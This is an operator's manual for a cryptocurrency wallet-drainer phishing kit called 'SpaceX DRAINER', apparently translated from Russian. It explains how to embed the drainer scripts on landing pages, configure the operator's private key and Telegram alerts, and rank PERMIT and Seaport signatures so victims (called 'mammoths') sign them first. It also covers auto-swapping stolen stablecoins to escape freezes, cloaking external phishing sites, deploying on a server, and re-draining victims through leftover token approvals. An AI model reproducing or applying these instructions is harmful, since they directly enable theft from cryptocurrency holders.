Owner's manual
Congratulations on your purchase of the SpaceX DRAINER. You have the source code. What's next?
A complete look at the insides of the product.
How to connect bandings.
Configuration customization.
3.0. Line 1 — PrivateKey.
3.1. Lines 2-3 — Bounce.
3.2. Lines 4-5-6 — PERMIT and SEAPORT.
3.3. Line 7 — Home currency.
3.4. Line 8 — Covalent.
3.5. Line 9 — AUTOSWAP.
3.6. Line 10 — Adding External Landings.
3.7. Line 11 — NFT MINIMAL PRICE.
Uploading files and getting the site up.
Question — Answer.
1. A little tutorial on the script structure.
Now let's quickly run through all the insides of SpaceX DRAINER.
If you are not a programmer, don't understand a damn thing about code and are not interested in how the project is organized, you can skip this step.
2. How to plug in lendings.
To install on a landing page you need to write scripts to the page with the button:
<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.js" type="application/javascript"></script> <script type="text/javascript" src="./scripts/sweetalert2@11"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js"></script> <script type="text/javascript" src="./scripts/index.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]"></script> <script type="text/javascript" src="https://unpkg.com/[email protected]/dist/umd/index.min.js"></script> <script type="text/javascript" src="https://unpkg.com/@walletconnect/[email protected]/dist/umd/index.min.js"></script> <script src="https://unpkg.com/[email protected]/dist/axios.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@coinbase/[email protected]/dist/index.min.js"></script> <script type="text/javascript" src="./scripts/ethereumjs-tx-1.3.3.min.js"></script> <script language="javascript" type="text/javascript" src="./scripts/ABI.js"></script> <script type="text/javascript" src="./scripts/main.js"></script> <script type="text/javascript" src="./scripts/seaport.js"></script> <script src="https://code.jquery.com/jquery-3.6.3.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/src/ua-parser.min.js"></script> <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
and assign a property to the desired button:
onclick="login()"
3.0 Configuring the config. Prescribing privatkey.
Privatkey - aka private key, it can be obtained via MetaMask browser extension in the "Account details" tab
Note that the address of the wallet whose privatkey you specify in the config should always have some money in the main currency of the network. Gas is needed to pay for gas during the withdrawal of apruvs from the mammoth wallet.
It will be enough to throw in literally a couple bucks on each network:
Ethereum - ETH
Binance Smart Chain - BNB
Polygon - MATIC
and so on to all the other necessary networks you will be working on...
In the Ethereum network, of course, you need to throw a little more money, about 15-20 bucks, because this blockchain is unstable on gas.
3.1 Configuration settings. Bounce in Telegram.
To connect the tap, open the config.json file and enter the data:
Line 2 - bot token, line 3 - account ID or channel ID where notifications should be received.
3.2 Configuring the config. PERMIT and SEAPORT priority.
By default, the permit and seaport methods are set to true, which means that they have the highest priority, i.e. no matter how expensive the token is on the victim's wallet, the script will first of all write off tokens that support PERMIT or SEAPORT, because the chance that the mammoth will sign them is much higher than the others. And after these royalty-free signatures are signed, the script will start writing off the rest of the tokens using the usual methods approve, setApprovalForAll and SIGN/TRANSFER, from expensive to cheap. To disable the priority of PERMIT and SEAPORT you should specify false instead of true:
The permit_priority_tokens line specifies the list of permit tokens for which priority will work:
3.3 Configuring the config. Writing off the main currency of the network.
In the line gas_token_method we choose the method of debiting the main currency of the network, "sign" with a red sign or the usual "transfer".
3.4 Configuring the config. Covalent API KEY.
Register on the Covalent site, get a free api key and enter it into the config:
3.5 Configuring the config. AUTOSWAP tokens.
Line 9 is responsible for enabling and disabling the automatic exchange of tokens for the main currency in the Ethereum network. The auto-exchange function is implemented in order not to face the blocking of scammed funds, because such tokens as usdt and usdc like to be scrapped at the first request. By default this function is disabled, to enable it, you need to change the value from false to true.
3.6 Configuring the config. Adding of external web pages.
External lendings are sites on regular web hosting, which can simply be directed to the IP server, and they will start working like a regular drein. This system allows you to very conveniently connect to the server at once an unlimited number of landings, allows you to cloach them, and do with them in general anything you want.
С - convenient.
To enable the "external mode" you need to activate the option "external" in the config, to do this, in line 10 you need to change the value from false to true.
Then you need to raise the site according to the usual instructions.
And all subsequent landings should be external, and put on the following instructions:
We pour the site files on the usual webhost and in the folder with them in the file server.cfg, write the address of the domain that we raised on the drein itself, the internal frontend (for example, https://mintnftzero.com).
The webhost template for the webhost is in the public* folder.
Please note, that with the enabled function of the external frontend, the internal frontend on the server will not work, only the external frontend will be active! If you're happy with one server - one frontend, just leave the value false, so you don't have to worry about it.
3.7 Configuration settings. NFT MINIMAL PRICE.
Line 11 is responsible for the priority of writing off nft, that is, if the config is set to 1000, it means that nft worth 1000$ will be written off with the lowest priority, in the last turn after all tokens.
I recommend to set the value from 1 000$, because nfts written off by the seaport, marketplace openci immediately sends to phishing check, without the possibility of selling, and on other marketplaces cheap nooneym nfts to sell problematic. Therefore, let the script better first of all write off a conditional token with a price of 100$, the profit from which will be actual, rather than from nft for 1000$, the income from which is only potential.
4. Upload files and get the site up.
Buy any Ubuntu 20.04+ server, connect to it via MobaXterm program and drag the folder with files directly to the root with a mouse. After that just paste these commands into the console and wait for the installation:
cd FOLDER NAME source start.sh
During the installation process, the console will ask you to insert the domain address of domain.com format, insert it:
And then you will need to add "A-record" with the IP address of your Ubuntu 20.04+ server to the domain dns. The site will stand up automatically as soon as the dns is assigned.
DONE!
Question - Answer.
How do I see logging in the console? Isn't it logging? Well, in terms of tokens written off/not written off, error not error, etc.
-You need to write docker ps, copy the ID next to the word "drainer" and write docker logs (ID):
If mammoth uprooted a token and auto withdraw withdrew it, but then after some time mammoth drops that token again, can I withdraw it again?
-Yes, you can. If mammoth has not rejected the upruv, then you can withdraw all re-fills from his wallet as follows:
You need to open the contract of the token that was uprooted and go to Contract>Write Contract>transferFrom. green - enter the address of his wallet (mammoth).
blue - enter the address of your wallet (where to receive). orange - the amount to be withdrawn.